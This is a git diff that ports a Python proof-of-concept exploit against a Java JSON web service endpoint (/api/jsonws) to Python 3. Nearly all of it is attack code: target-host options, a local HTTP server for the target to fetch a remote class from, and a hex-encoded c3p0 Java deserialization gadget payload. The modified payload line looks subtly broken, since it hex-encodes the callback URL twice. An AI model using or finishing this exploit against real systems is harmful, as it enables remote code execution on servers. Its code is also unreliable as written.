diff --git a/poc.py b/poc.py index 6088453..6ef5c9f 100644 --- a/poc.py +++ b/poc.py @@ -31,9 +31,11 @@ import time import sys import argparse +import binascii from bs4 import BeautifulSoup from datetime import datetime -from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer +from http.server import BaseHTTPRequestHandler,HTTPServer +#import http.server from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) @@ -145,7 +147,7 @@ def main(): print(banner) parser = argparse.ArgumentParser() parser.add_argument("-t", "--target-host", dest="target", help="target host:port", required=True) - parser.add_argument("-u", "--api-url", dest="api_url", help="path to jsonws. Default: /api/jsonws", default="/api/jsonws") + parser.add_argument("-u", "--api-url", dest="api_url", help="path to jsonws. Default: /api/jsonws", default="api/jsonws") parser.add_argument("-p", "--bind-port", dest="bind_port", help="HTTP server bind port. Default 9091", default=9091) parser.add_argument("-l", "--bind-ip", dest="bind_ip", help="HTTP server bind IP. Default 127.0.0.1. It can't be 0.0.0.0", default="127.0.0.1") @@ -160,7 +162,14 @@ def main(): PAYLOAD_TYPE = "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource" PAYLOAD_PREFIX = """{"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c69664578707400c8""" PAYLOAD_SUFIX = """740003466f6f;"}""" - PAYLOAD = PAYLOAD_PREFIX +pad("http://{}:{}/".format(bind_ip, bind_port), 200).encode("hex")+PAYLOAD_SUFIX + + INTERNAL = pad("http://{}:{}/".format(bind_ip, bind_port), 200) + + INTERNALB = INTERNAL.encode('utf-8') + + INTERNALHEX = binascii.hexlify(INTERNALB) + + PAYLOAD = PAYLOAD_PREFIX+INTERNALHEX.hex()+PAYLOAD_SUFIX try: